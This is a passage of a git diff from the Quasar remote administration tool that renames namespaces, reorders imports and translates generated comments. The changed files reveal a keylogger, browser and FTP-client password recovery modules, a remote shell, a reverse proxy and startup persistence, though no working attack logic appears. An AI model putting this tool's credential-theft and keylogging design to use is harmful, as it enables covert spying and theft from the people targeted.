diff --git a/Quasar.Client/Core/Helper/KeyloggerHelper.cs b/Quasar.Client/Core/Helper/KeyloggerHelper.cs
index 256b3dbb..7cd80bfa 100644
--- a/Quasar.Client/Core/Helper/KeyloggerHelper.cs
+++ b/Quasar.Client/Core/Helper/KeyloggerHelper.cs
@@ -1,7 +1,7 @@
using System.Collections.Generic;
using System.Windows.Forms;
-namespace xClient.Core.Helper
+namespace Quasar.Client.Core.Helper
{
public static class KeyloggerHelper
{
diff --git a/Quasar.Client/Core/Helper/MutexHelper.cs b/Quasar.Client/Core/Helper/MutexHelper.cs
index 47efc050..e82893e3 100644
--- a/Quasar.Client/Core/Helper/MutexHelper.cs
+++ b/Quasar.Client/Core/Helper/MutexHelper.cs
@@ -1,6 +1,6 @@
using System.Threading;
-namespace xClient.Core.Helper
+namespace Quasar.Client.Core.Helper
{
public static class MutexHelper
{
diff --git a/Quasar.Client/Core/Helper/NativeMethodsHelper.cs b/Quasar.Client/Core/Helper/NativeMethodsHelper.cs
index 3f2ca67d..c1f0287e 100644
--- a/Quasar.Client/Core/Helper/NativeMethodsHelper.cs
+++ b/Quasar.Client/Core/Helper/NativeMethodsHelper.cs
@@ -2,9 +2,9 @@
using System.Drawing;
using System.Runtime.InteropServices;
using System.Text;
-using xClient.Core.Utilities;
+using Quasar.Client.Core.Utilities;
-namespace xClient.Core.Helper
+namespace Quasar.Client.Core.Helper
{
public static class NativeMethodsHelper
{
diff --git a/Quasar.Client/Core/Helper/PlatformHelper.cs b/Quasar.Client/Core/Helper/PlatformHelper.cs
index 2af1418e..d0ed9a85 100644
--- a/Quasar.Client/Core/Helper/PlatformHelper.cs
+++ b/Quasar.Client/Core/Helper/PlatformHelper.cs
@@ -2,7 +2,7 @@
using System.Management;
using System.Text.RegularExpressions;
-namespace xClient.Core.Helper
+namespace Quasar.Client.Core.Helper
{
public static class PlatformHelper
{
diff --git a/Quasar.Client/Core/Helper/RegistryKeyHelper.cs b/Quasar.Client/Core/Helper/RegistryKeyHelper.cs
index 4406300d..c70ebc23 100644
--- a/Quasar.Client/Core/Helper/RegistryKeyHelper.cs
+++ b/Quasar.Client/Core/Helper/RegistryKeyHelper.cs
@@ -1,12 +1,12 @@
-using Microsoft.Win32;
-using Quasar.Common.Models;
-using Quasar.Common.Utilities;
-using System;
+using System;
using System.Collections.Generic;
using System.Linq;
-using xClient.Core.Extensions;
+using Microsoft.Win32;
+using Quasar.Client.Core.Extensions;
+using Quasar.Common.Models;
+using Quasar.Common.Utilities;
-namespace xClient.Core.Helper
+namespace Quasar.Client.Core.Helper
{
public static class RegistryKeyHelper
{
diff --git a/Quasar.Client/Core/Helper/ScreenHelper.cs b/Quasar.Client/Core/Helper/ScreenHelper.cs
index 1234ee99..485e9649 100644
--- a/Quasar.Client/Core/Helper/ScreenHelper.cs
+++ b/Quasar.Client/Core/Helper/ScreenHelper.cs
@@ -2,9 +2,9 @@
using System.Drawing;
using System.Drawing.Imaging;
using System.Windows.Forms;
-using xClient.Core.Utilities;
+using Quasar.Client.Core.Utilities;
-namespace xClient.Core.Helper
+namespace Quasar.Client.Core.Helper
{
public static class ScreenHelper
{
diff --git a/Quasar.Client/Core/Helper/SystemHelper.cs b/Quasar.Client/Core/Helper/SystemHelper.cs
index a5dbf70e..4a4636a6 100644
--- a/Quasar.Client/Core/Helper/SystemHelper.cs
+++ b/Quasar.Client/Core/Helper/SystemHelper.cs
@@ -1,7 +1,7 @@
using System;
using System.Management;
-namespace xClient.Core.Helper
+namespace Quasar.Client.Core.Helper
{
public static class SystemHelper
{
diff --git a/Quasar.Client/Core/Helper/WindowsAccountHelper.cs b/Quasar.Client/Core/Helper/WindowsAccountHelper.cs
index 024f3b2c..b59579e1 100644
--- a/Quasar.Client/Core/Helper/WindowsAccountHelper.cs
+++ b/Quasar.Client/Core/Helper/WindowsAccountHelper.cs
@@ -2,11 +2,11 @@
using System.Diagnostics;
using System.Security.Principal;
using System.Threading;
+using Quasar.Client.Core.Networking;
using Quasar.Common.Enums;
using Quasar.Common.Messages;
-using xClient.Core.Networking;
-namespace xClient.Core.Helper
+namespace Quasar.Client.Core.Helper
{
public static class WindowsAccountHelper
{
diff --git a/Quasar.Client/Core/Installation/ClientInstaller.cs b/Quasar.Client/Core/Installation/ClientInstaller.cs
index 9b95426f..7e121aa5 100644
--- a/Quasar.Client/Core/Installation/ClientInstaller.cs
+++ b/Quasar.Client/Core/Installation/ClientInstaller.cs
@@ -2,16 +2,15 @@
using System.Diagnostics;
using System.IO;
using System.Threading;
-using xClient.Config;
-using xClient.Core.Data;
-using xClient.Core.Helper;
-using xClient.Core.Networking;
+using Quasar.Client.Config;
+using Quasar.Client.Core.Data;
+using Quasar.Client.Core.Helper;
-namespace xClient.Core.Installation
+namespace Quasar.Client.Core.Installation
{
public static class ClientInstaller
{
- public static void Install(Client client)
+ public static void Install(Networking.Client client)
{
bool isKilled = false;
diff --git a/Quasar.Client/Core/Installation/ClientUninstaller.cs b/Quasar.Client/Core/Installation/ClientUninstaller.cs
index bf579815..a9c6da39 100644
--- a/Quasar.Client/Core/Installation/ClientUninstaller.cs
+++ b/Quasar.Client/Core/Installation/ClientUninstaller.cs
@@ -1,15 +1,14 @@
using System;
using System.Diagnostics;
+using Quasar.Client.Config;
+using Quasar.Client.Core.Helper;
using Quasar.Common.Messages;
-using xClient.Config;
-using xClient.Core.Helper;
-using xClient.Core.Networking;
-namespace xClient.Core.Installation
+namespace Quasar.Client.Core.Installation
{
public static class ClientUninstaller
{
- public static void Uninstall(Client client)
+ public static void Uninstall(Networking.Client client)
{
try
{
diff --git a/Quasar.Client/Core/Installation/ClientUpdater.cs b/Quasar.Client/Core/Installation/ClientUpdater.cs
index 649e0a68..8c145ba2 100644
--- a/Quasar.Client/Core/Installation/ClientUpdater.cs
+++ b/Quasar.Client/Core/Installation/ClientUpdater.cs
@@ -1,17 +1,16 @@
using System;
using System.Diagnostics;
using System.IO;
+using Quasar.Client.Config;
+using Quasar.Client.Core.Helper;
+using Quasar.Client.Core.Utilities;
using Quasar.Common.Messages;
-using xClient.Config;
-using xClient.Core.Helper;
-using xClient.Core.Networking;
-using xClient.Core.Utilities;
-namespace xClient.Core.Installation
+namespace Quasar.Client.Core.Installation
{
public static class ClientUpdater
{
- public static void Update(Client client, string newFilePath)
+ public static void Update(Networking.Client client, string newFilePath)
{
try
{
diff --git a/Quasar.Client/Core/Installation/Startup.cs b/Quasar.Client/Core/Installation/Startup.cs
index 3987a038..b945bdaf 100644
--- a/Quasar.Client/Core/Installation/Startup.cs
+++ b/Quasar.Client/Core/Installation/Startup.cs
@@ -1,11 +1,11 @@
using System;
using System.Diagnostics;
using Microsoft.Win32;
-using xClient.Config;
-using xClient.Core.Data;
-using xClient.Core.Helper;
+using Quasar.Client.Config;
+using Quasar.Client.Core.Data;
+using Quasar.Client.Core.Helper;
-namespace xClient.Core.Installation
+namespace Quasar.Client.Core.Installation
{
public static class Startup
{
diff --git a/Quasar.Client/Core/Networking/Client.cs b/Quasar.Client/Core/Networking/Client.cs
index 9fe30104..bf7dbe75 100644
--- a/Quasar.Client/Core/Networking/Client.cs
+++ b/Quasar.Client/Core/Networking/Client.cs
@@ -7,14 +7,14 @@
using System.Threading;
using ProtoBuf;
using ProtoBuf.Meta;
+using Quasar.Client.Core.Compression;
+using Quasar.Client.Core.Cryptography;
+using Quasar.Client.Core.Extensions;
+using Quasar.Client.Core.ReverseProxy;
using Quasar.Common.Messages;
using Quasar.Common.Networking;
-using xClient.Core.Compression;
-using xClient.Core.Cryptography;
-using xClient.Core.Extensions;
-using xClient.Core.ReverseProxy;
-namespace xClient.Core.Networking
+namespace Quasar.Client.Core.Networking
{
public class Client : ISender
{
diff --git a/Quasar.Client/Core/Networking/PacketHandler.cs b/Quasar.Client/Core/Networking/PacketHandler.cs
index c187c47b..136ee584 100644
--- a/Quasar.Client/Core/Networking/PacketHandler.cs
+++ b/Quasar.Client/Core/Networking/PacketHandler.cs
@@ -1,8 +1,8 @@
-using Quasar.Common.Messages;
-using xClient.Core.Commands;
-using xClient.Core.ReverseProxy;
+using Quasar.Client.Core.Commands;
+using Quasar.Client.Core.ReverseProxy;
+using Quasar.Common.Messages;
-namespace xClient.Core.Networking
+namespace Quasar.Client.Core.Networking
{
public static class PacketHandler
{
diff --git a/Quasar.Client/Core/Networking/QuasarClient.cs b/Quasar.Client/Core/Networking/QuasarClient.cs
index aeba838b..39c79093 100644
--- a/Quasar.Client/Core/Networking/QuasarClient.cs
+++ b/Quasar.Client/Core/Networking/QuasarClient.cs
@@ -2,14 +2,14 @@
using System.Diagnostics;
using System.Threading;
using System.Windows.Forms;
+using Quasar.Client.Config;
+using Quasar.Client.Core.Commands;
+using Quasar.Client.Core.Data;
+using Quasar.Client.Core.Utilities;
using Quasar.Common.Messages;
using Quasar.Common.Utilities;
-using xClient.Config;
-using xClient.Core.Commands;
-using xClient.Core.Data;
-using xClient.Core.Utilities;
-namespace xClient.Core.Networking
+namespace Quasar.Client.Core.Networking
{
public class QuasarClient : Client
{
diff --git a/Quasar.Client/Core/Recovery/Browsers/Chrome.cs b/Quasar.Client/Core/Recovery/Browsers/Chrome.cs
index 223ebe66..c359d6cf 100644
--- a/Quasar.Client/Core/Recovery/Browsers/Chrome.cs
+++ b/Quasar.Client/Core/Recovery/Browsers/Chrome.cs
@@ -1,10 +1,10 @@
-using Quasar.Common.Models;
-using System;
+using System;
using System.Collections.Generic;
using System.IO;
-using xClient.Core.Recovery.Utilities;
+using Quasar.Client.Core.Recovery.Utilities;
+using Quasar.Common.Models;
-namespace xClient.Core.Recovery.Browsers
+namespace Quasar.Client.Core.Recovery.Browsers
{
public class Chrome
{
diff --git a/Quasar.Client/Core/Recovery/Browsers/Firefox.cs b/Quasar.Client/Core/Recovery/Browsers/Firefox.cs
index 3df764cc..7c7fd83c 100644
--- a/Quasar.Client/Core/Recovery/Browsers/Firefox.cs
+++ b/Quasar.Client/Core/Recovery/Browsers/Firefox.cs
@@ -1,18 +1,18 @@
-using Microsoft.Win32;
-using Quasar.Common.Models;
-using System;
+using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
-using xClient.Core.Extensions;
-using xClient.Core.Helper;
-using xClient.Core.Recovery.Utilities;
-using xClient.Core.Utilities;
+using Microsoft.Win32;
+using Quasar.Client.Core.Extensions;
+using Quasar.Client.Core.Helper;
+using Quasar.Client.Core.Recovery.Utilities;
+using Quasar.Client.Core.Utilities;
+using Quasar.Common.Models;
-namespace xClient.Core.Recovery.Browsers
+namespace Quasar.Client.Core.Recovery.Browsers
{
///
/// A small class to recover Firefox Data
diff --git a/Quasar.Client/Core/Recovery/Browsers/InternetExplorer.cs b/Quasar.Client/Core/Recovery/Browsers/InternetExplorer.cs
index aae6ef6a..216a0cfa 100644
--- a/Quasar.Client/Core/Recovery/Browsers/InternetExplorer.cs
+++ b/Quasar.Client/Core/Recovery/Browsers/InternetExplorer.cs
@@ -1,6 +1,4 @@
-using Microsoft.Win32;
-using Quasar.Common.Models;
-using System;
+using System;
using System.Collections;
using System.Collections.Generic;
using System.ComponentModel;
@@ -9,9 +7,11 @@
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
-using xClient.Core.Helper;
+using Microsoft.Win32;
+using Quasar.Client.Core.Helper;
+using Quasar.Common.Models;
-namespace xClient.Core.Recovery.Browsers
+namespace Quasar.Client.Core.Recovery.Browsers
{
public static class InternetExplorer
{
diff --git a/Quasar.Client/Core/Recovery/Browsers/Opera.cs b/Quasar.Client/Core/Recovery/Browsers/Opera.cs
index ed82fc21..8ffa61ec 100644
--- a/Quasar.Client/Core/Recovery/Browsers/Opera.cs
+++ b/Quasar.Client/Core/Recovery/Browsers/Opera.cs
@@ -1,10 +1,10 @@
-using Quasar.Common.Models;
-using System;
+using System;
using System.Collections.Generic;
using System.IO;
-using xClient.Core.Recovery.Utilities;
+using Quasar.Client.Core.Recovery.Utilities;
+using Quasar.Common.Models;
-namespace xClient.Core.Recovery.Browsers
+namespace Quasar.Client.Core.Recovery.Browsers
{
public class Opera
{
diff --git a/Quasar.Client/Core/Recovery/Browsers/Yandex.cs b/Quasar.Client/Core/Recovery/Browsers/Yandex.cs
index a5116662..832ae9a2 100644
--- a/Quasar.Client/Core/Recovery/Browsers/Yandex.cs
+++ b/Quasar.Client/Core/Recovery/Browsers/Yandex.cs
@@ -1,10 +1,10 @@
-using Quasar.Common.Models;
-using System;
+using System;
using System.Collections.Generic;
using System.IO;
-using xClient.Core.Recovery.Utilities;
+using Quasar.Client.Core.Recovery.Utilities;
+using Quasar.Common.Models;
-namespace xClient.Core.Recovery.Browsers
+namespace Quasar.Client.Core.Recovery.Browsers
{
public class Yandex
{
diff --git a/Quasar.Client/Core/Recovery/FtpClients/FileZilla.cs b/Quasar.Client/Core/Recovery/FtpClients/FileZilla.cs
index e704bfad..0eb25d1a 100644
--- a/Quasar.Client/Core/Recovery/FtpClients/FileZilla.cs
+++ b/Quasar.Client/Core/Recovery/FtpClients/FileZilla.cs
@@ -1,11 +1,11 @@
-using Quasar.Common.Models;
-using System;
+using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Xml;
+using Quasar.Common.Models;
-namespace xClient.Core.Recovery.FtpClients
+namespace Quasar.Client.Core.Recovery.FtpClients
{
public class FileZilla
{
diff --git a/Quasar.Client/Core/Recovery/FtpClients/WinSCP.cs b/Quasar.Client/Core/Recovery/FtpClients/WinSCP.cs
index 70191057..7ce03e22 100644
--- a/Quasar.Client/Core/Recovery/FtpClients/WinSCP.cs
+++ b/Quasar.Client/Core/Recovery/FtpClients/WinSCP.cs
@@ -1,12 +1,12 @@
-using Microsoft.Win32;
-using Quasar.Common.Models;
-using System;
+using System;
using System.Collections.Generic;
using System.Linq;
-using xClient.Core.Extensions;
-using xClient.Core.Helper;
+using Microsoft.Win32;
+using Quasar.Client.Core.Extensions;
+using Quasar.Client.Core.Helper;
+using Quasar.Common.Models;
-namespace xClient.Core.Recovery.FtpClients
+namespace Quasar.Client.Core.Recovery.FtpClients
{
public class WinSCP
{
diff --git a/Quasar.Client/Core/Recovery/Utilities/Chromium.cs b/Quasar.Client/Core/Recovery/Utilities/Chromium.cs
index 73a5af05..09c257af 100644
--- a/Quasar.Client/Core/Recovery/Utilities/Chromium.cs
+++ b/Quasar.Client/Core/Recovery/Utilities/Chromium.cs
@@ -1,11 +1,11 @@
-using Quasar.Common.Models;
-using System;
+using System;
using System.Collections.Generic;
using System.IO;
using System.Security.Cryptography;
using System.Text;
+using Quasar.Common.Models;
-namespace xClient.Core.Recovery.Utilities
+namespace Quasar.Client.Core.Recovery.Utilities
{
public class ChromiumBase
{
diff --git a/Quasar.Client/Core/Recovery/Utilities/JsonUtil.cs b/Quasar.Client/Core/Recovery/Utilities/JsonUtil.cs
index d93960a9..d4723fbd 100644
--- a/Quasar.Client/Core/Recovery/Utilities/JsonUtil.cs
+++ b/Quasar.Client/Core/Recovery/Utilities/JsonUtil.cs
@@ -2,7 +2,7 @@
using System.Runtime.Serialization.Json;
using System.Text;
-namespace xClient.Core.Recovery.Utilities
+namespace Quasar.Client.Core.Recovery.Utilities
{
public static class JsonUtil
{
diff --git a/Quasar.Client/Core/Recovery/Utilities/SQLiteHandler.cs b/Quasar.Client/Core/Recovery/Utilities/SQLiteHandler.cs
index 8c03a866..0b6fe591 100644
--- a/Quasar.Client/Core/Recovery/Utilities/SQLiteHandler.cs
+++ b/Quasar.Client/Core/Recovery/Utilities/SQLiteHandler.cs
@@ -5,7 +5,7 @@
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
-namespace xClient.Core.Recovery.Utilities
+namespace Quasar.Client.Core.Recovery.Utilities
{
public class SQLiteHandler
{
diff --git a/Quasar.Client/Core/Registry/RegistryEditor.cs b/Quasar.Client/Core/Registry/RegistryEditor.cs
index 7e67dfb9..0b1c253a 100644
--- a/Quasar.Client/Core/Registry/RegistryEditor.cs
+++ b/Quasar.Client/Core/Registry/RegistryEditor.cs
@@ -1,10 +1,10 @@
-using Microsoft.Win32;
+using System;
+using Microsoft.Win32;
+using Quasar.Client.Core.Extensions;
+using Quasar.Client.Core.Helper;
using Quasar.Common.Models;
-using System;
-using xClient.Core.Extensions;
-using xClient.Core.Helper;
-namespace xClient.Core.Registry
+namespace Quasar.Client.Core.Registry
{
public class RegistryEditor
{
diff --git a/Quasar.Client/Core/Registry/RegistrySeeker.cs b/Quasar.Client/Core/Registry/RegistrySeeker.cs
index 8938ae34..b6eaee81 100644
--- a/Quasar.Client/Core/Registry/RegistrySeeker.cs
+++ b/Quasar.Client/Core/Registry/RegistrySeeker.cs
@@ -1,11 +1,11 @@
-using Microsoft.Win32;
-using System;
+using System;
using System.Collections.Generic;
+using Microsoft.Win32;
+using Quasar.Client.Core.Extensions;
+using Quasar.Client.Core.Helper;
using Quasar.Common.Models;
-using xClient.Core.Extensions;
-using xClient.Core.Helper;
-namespace xClient.Core.Registry
+namespace Quasar.Client.Core.Registry
{
public class RegistrySeeker
{
diff --git a/Quasar.Client/Core/ReverseProxy/ReverseProxyClient.cs b/Quasar.Client/Core/ReverseProxy/ReverseProxyClient.cs
index cf999939..f5f0c461 100644
--- a/Quasar.Client/Core/ReverseProxy/ReverseProxyClient.cs
+++ b/Quasar.Client/Core/ReverseProxy/ReverseProxyClient.cs
@@ -2,9 +2,8 @@
using System.Net;
using System.Net.Sockets;
using Quasar.Common.Messages;
-using xClient.Core.Networking;
-namespace xClient.Core.ReverseProxy
+namespace Quasar.Client.Core.ReverseProxy
{
public class ReverseProxyClient
{
@@ -14,11 +13,11 @@ public class ReverseProxyClient
public Socket Handle { get; private set; }
public string Target { get; private set; }
public int Port { get; private set; }
- public Client Client { get; private set; }
+ public Networking.Client Client { get; private set; }
private byte[] _buffer;
private bool _disconnectIsSend;
- public ReverseProxyClient(ReverseProxyConnect command, Client client)
+ public ReverseProxyClient(ReverseProxyConnect command, Networking.Client client)
{
this.ConnectionId = command.ConnectionId;
this.Target = command.Target;
diff --git a/Quasar.Client/Core/ReverseProxy/ReverseProxyCommandHandler.cs b/Quasar.Client/Core/ReverseProxy/ReverseProxyCommandHandler.cs
index cd3a2c43..880691c9 100644
--- a/Quasar.Client/Core/ReverseProxy/ReverseProxyCommandHandler.cs
+++ b/Quasar.Client/Core/ReverseProxy/ReverseProxyCommandHandler.cs
@@ -1,11 +1,10 @@
using Quasar.Common.Messages;
-using xClient.Core.Networking;
-namespace xClient.Core.ReverseProxy
+namespace Quasar.Client.Core.ReverseProxy
{
public class ReverseProxyCommandHandler
{
- public static void HandleCommand(Client client, IMessage packet)
+ public static void HandleCommand(Networking.Client client, IMessage packet)
{
var type = packet.GetType();
diff --git a/Quasar.Client/Core/Utilities/HostsManager.cs b/Quasar.Client/Core/Utilities/HostsManager.cs
index 0664307c..f587b2d1 100644
--- a/Quasar.Client/Core/Utilities/HostsManager.cs
+++ b/Quasar.Client/Core/Utilities/HostsManager.cs
@@ -1,9 +1,9 @@
using System.Collections.Generic;
using System.Net;
using System.Net.Sockets;
-using xClient.Core.Data;
+using Quasar.Client.Core.Data;
-namespace xClient.Core.Utilities
+namespace Quasar.Client.Core.Utilities
{
public class HostsManager
{
diff --git a/Quasar.Client/Core/Utilities/Keylogger.cs b/Quasar.Client/Core/Utilities/Keylogger.cs
index 1b638f29..20152073 100644
--- a/Quasar.Client/Core/Utilities/Keylogger.cs
+++ b/Quasar.Client/Core/Utilities/Keylogger.cs
@@ -4,13 +4,13 @@
using System.IO;
using System.Text;
using System.Windows.Forms;
-using xClient.Core.Helper;
-using xClient.Core.Networking;
-using Timer = System.Timers.Timer;
-using xClient.Config;
using Gma.System.MouseKeyHook;
+using Quasar.Client.Config;
+using Quasar.Client.Core.Helper;
+using Quasar.Client.Core.Networking;
+using Timer = System.Timers.Timer;
-namespace xClient.Core.Utilities
+namespace Quasar.Client.Core.Utilities
{
///
/// This class provides keylogging functionality and modifies/highlights the output for
diff --git a/Quasar.Client/Core/Utilities/NativeMethods.cs b/Quasar.Client/Core/Utilities/NativeMethods.cs
index 81d587dc..c68a0e14 100644
--- a/Quasar.Client/Core/Utilities/NativeMethods.cs
+++ b/Quasar.Client/Core/Utilities/NativeMethods.cs
@@ -2,7 +2,7 @@
using System.Runtime.InteropServices;
using System.Text;
-namespace xClient.Core.Utilities
+namespace Quasar.Client.Core.Utilities
{
///
/// Provides access to Win32 API and Microsoft C Runtime Library (msvcrt.dll).
diff --git a/Quasar.Client/Core/Utilities/Shell.cs b/Quasar.Client/Core/Utilities/Shell.cs
index 7b0dbd78..894a1647 100644
--- a/Quasar.Client/Core/Utilities/Shell.cs
+++ b/Quasar.Client/Core/Utilities/Shell.cs
@@ -6,7 +6,7 @@
using System.Threading;
using Quasar.Common.Messages;
-namespace xClient.Core.Utilities
+namespace Quasar.Client.Core.Utilities
{
///
/// This class manages a remote shell session.
diff --git a/Quasar.Client/Program.cs b/Quasar.Client/Program.cs
index a6ade15d..81522c82 100644
--- a/Quasar.Client/Program.cs
+++ b/Quasar.Client/Program.cs
@@ -3,16 +3,16 @@
using System.IO;
using System.Threading;
using System.Windows.Forms;
-using xClient.Config;
-using xClient.Core.Commands;
-using xClient.Core.Cryptography;
-using xClient.Core.Data;
-using xClient.Core.Helper;
-using xClient.Core.Installation;
-using xClient.Core.Networking;
-using xClient.Core.Utilities;
+using Quasar.Client.Config;
+using Quasar.Client.Core.Commands;
+using Quasar.Client.Core.Cryptography;
+using Quasar.Client.Core.Data;
+using Quasar.Client.Core.Helper;
+using Quasar.Client.Core.Installation;
+using Quasar.Client.Core.Networking;
+using Quasar.Client.Core.Utilities;
-namespace xClient
+namespace Quasar.Client
{
internal static class Program
{
diff --git a/Quasar.Client/Properties/Resources.Designer.cs b/Quasar.Client/Properties/Resources.Designer.cs
index 71d9533c..cf606db8 100644
--- a/Quasar.Client/Properties/Resources.Designer.cs
+++ b/Quasar.Client/Properties/Resources.Designer.cs
@@ -1,25 +1,25 @@
//------------------------------------------------------------------------------
//
-// Dieser Code wurde von einem Tool generiert.
-// Laufzeitversion:4.0.30319.42000
+// This code was generated by a tool.
+// Runtime Version:4.0.30319.42000
//
-// Änderungen an dieser Datei können falsches Verhalten verursachen und gehen verloren, wenn
-// der Code erneut generiert wird.
+// Changes to this file may cause incorrect behavior and will be lost if
+// the code is regenerated.
//
//------------------------------------------------------------------------------
-namespace xClient.Properties {
+namespace Quasar.Client.Properties {
using System;
///
- /// Eine stark typisierte Ressourcenklasse zum Suchen von lokalisierten Zeichenfolgen usw.
+ /// A strongly-typed resource class, for looking up localized strings, etc.
///
- // Diese Klasse wurde von der StronglyTypedResourceBuilder automatisch generiert
- // -Klasse über ein Tool wie ResGen oder Visual Studio automatisch generiert.
- // Um einen Member hinzuzufügen oder zu entfernen, bearbeiten Sie die .ResX-Datei und führen dann ResGen
- // mit der /str-Option erneut aus, oder Sie erstellen Ihr VS-Projekt neu.
- [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
+ // This class was auto-generated by the StronglyTypedResourceBuilder
+ // class via a tool like ResGen or Visual Studio.
+ // To add or remove a member, edit your .ResX file then rerun ResGen
+ // with the /str option, or rebuild your VS project.
+ [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "15.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
internal class Resources {
@@ -33,13 +33,13 @@ internal class Resources {
}
///
- /// Gibt die zwischengespeicherte ResourceManager-Instanz zurück, die von dieser Klasse verwendet wird.
+ /// Returns the cached ResourceManager instance used by this class.
///
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Resources.ResourceManager ResourceManager {
get {
if (object.ReferenceEquals(resourceMan, null)) {
- global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("xClient.Properties.Resources", typeof(Resources).Assembly);
+ global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Quasar.Client.Properties.Resources", typeof(Resources).Assembly);
resourceMan = temp;
}
return resourceMan;
@@ -47,8 +47,8 @@ internal class Resources {
}
///
- /// Überschreibt die CurrentUICulture-Eigenschaft des aktuellen Threads für alle
- /// Ressourcenzuordnungen, die diese stark typisierte Ressourcenklasse verwenden.
+ /// Overrides the current thread's CurrentUICulture property for all
+ /// resource lookups using this strongly typed resource class.
///
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Globalization.CultureInfo Culture {
@@ -61,7 +61,7 @@ internal class Resources {
}
///
- /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap.
+ /// Looks up a localized resource of type System.Drawing.Bitmap.
///
internal static System.Drawing.Bitmap information {
get {
diff --git a/Quasar.Client/Properties/Settings.Designer.cs b/Quasar.Client/Properties/Settings.Designer.cs
index 7c3ac0c6..b4ca5f2a 100644
--- a/Quasar.Client/Properties/Settings.Designer.cs
+++ b/Quasar.Client/Properties/Settings.Designer.cs
@@ -1,18 +1,18 @@
//------------------------------------------------------------------------------
//
-// Dieser Code wurde von einem Tool generiert.
-// Laufzeitversion:4.0.30319.42000
+// This code was generated by a tool.
+// Runtime Version:4.0.30319.42000
//
-// Änderungen an dieser Datei können falsches Verhalten verursachen und gehen verloren, wenn
-// der Code erneut generiert wird.
+// Changes to this file may cause incorrect behavior and will be lost if
+// the code is regenerated.
//
//------------------------------------------------------------------------------
-namespace xClient.Properties {
+namespace Quasar.Client.Properties {
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
- [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "12.0.0.0")]
+ [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.8.0.0")]
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
diff --git a/Quasar.Client/Quasar.Client.csproj b/Quasar.Client/Quasar.Client.csproj
index 4e7b6599..b9b86ff7 100644
--- a/Quasar.Client/Quasar.Client.csproj
+++ b/Quasar.Client/Quasar.Client.csproj
@@ -8,7 +8,7 @@
{9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}
WinExe
Properties
- xClient
+ Quasar.Client
Client
v4.0
512
@@ -37,7 +37,7 @@
false
- xClient.Program
+ Quasar.Client.Program
app.manifest
diff --git a/Quasar.Server.Tests/Core/Compression/SafeQuickLZ.Tests.cs b/Quasar.Server.Tests/Core/Compression/SafeQuickLZ.Tests.cs
index 512e57a2..eefd9c8a 100644
--- a/Quasar.Server.Tests/Core/Compression/SafeQuickLZ.Tests.cs
+++ b/Quasar.Server.Tests/Core/Compression/SafeQuickLZ.Tests.cs
@@ -1,8 +1,8 @@
using System;
using Microsoft.VisualStudio.TestTools.UnitTesting;
-using xServer.Core.Compression;
+using Quasar.Server.Core.Compression;
-namespace xServer.Tests.Core.Compression
+namespace Quasar.Server.Tests.Core.Compression
{
[TestClass]
public class SafeQuickLZTests
diff --git a/Quasar.Server.Tests/Core/Encryption/AES.Tests.cs b/Quasar.Server.Tests/Core/Encryption/AES.Tests.cs
index 57619467..9ce9fade 100644
--- a/Quasar.Server.Tests/Core/Encryption/AES.Tests.cs
+++ b/Quasar.Server.Tests/Core/Encryption/AES.Tests.cs
@@ -1,9 +1,9 @@
using System.Text;
using Microsoft.VisualStudio.TestTools.UnitTesting;
-using xServer.Core.Cryptography;
-using xServer.Core.Helper;
+using Quasar.Server.Core.Cryptography;
+using Quasar.Server.Core.Helper;
-namespace xServer.Tests.Core.Encryption
+namespace Quasar.Server.Tests.Core.Encryption
{
[TestClass]
public class AESTests
diff --git a/Quasar.Server.Tests/Quasar.Server.Tests.csproj b/Quasar.Server.Tests/Quasar.Server.Tests.csproj
index 6a039914..620cac31 100644
--- a/Quasar.Server.Tests/Quasar.Server.Tests.csproj
+++ b/Quasar.Server.Tests/Quasar.Server.Tests.csproj
@@ -6,7 +6,7 @@
{BF45108E-1E43-486B-A71D-5426BBB041DB}
Library
Properties
- xServer.Tests
+ Quasar.Server.Tests
Server.Tests
v4.0
512
diff --git a/Quasar.Server/Controls/DotNetBarTabControl.cs b/Quasar.Server/Controls/DotNetBarTabControl.cs
index 19e713ed..21a33f89 100644
--- a/Quasar.Server/Controls/DotNetBarTabControl.cs
+++ b/Quasar.Server/Controls/DotNetBarTabControl.cs
@@ -5,7 +5,7 @@
// thanks to Mavamaarten~ for coding this
-namespace xServer.Controls
+namespace Quasar.Server.Controls
{
internal class DotNetBarTabControl : TabControl
{
diff --git a/Quasar.Server/Controls/HexEditor/ByteCollection.cs b/Quasar.Server/Controls/HexEditor/ByteCollection.cs
index a2e145d0..42e8249a 100644
--- a/Quasar.Server/Controls/HexEditor/ByteCollection.cs
+++ b/Quasar.Server/Controls/HexEditor/ByteCollection.cs
@@ -1,9 +1,7 @@
using System;
using System.Collections.Generic;
-using System.Linq;
-using System.Text;
-namespace xServer.Controls.HexEditor
+namespace Quasar.Server.Controls.HexEditor
{
public class ByteCollection
{
diff --git a/Quasar.Server/Controls/HexEditor/Caret.cs b/Quasar.Server/Controls/HexEditor/Caret.cs
index 38fa26b7..ac83acd4 100644
--- a/Quasar.Server/Controls/HexEditor/Caret.cs
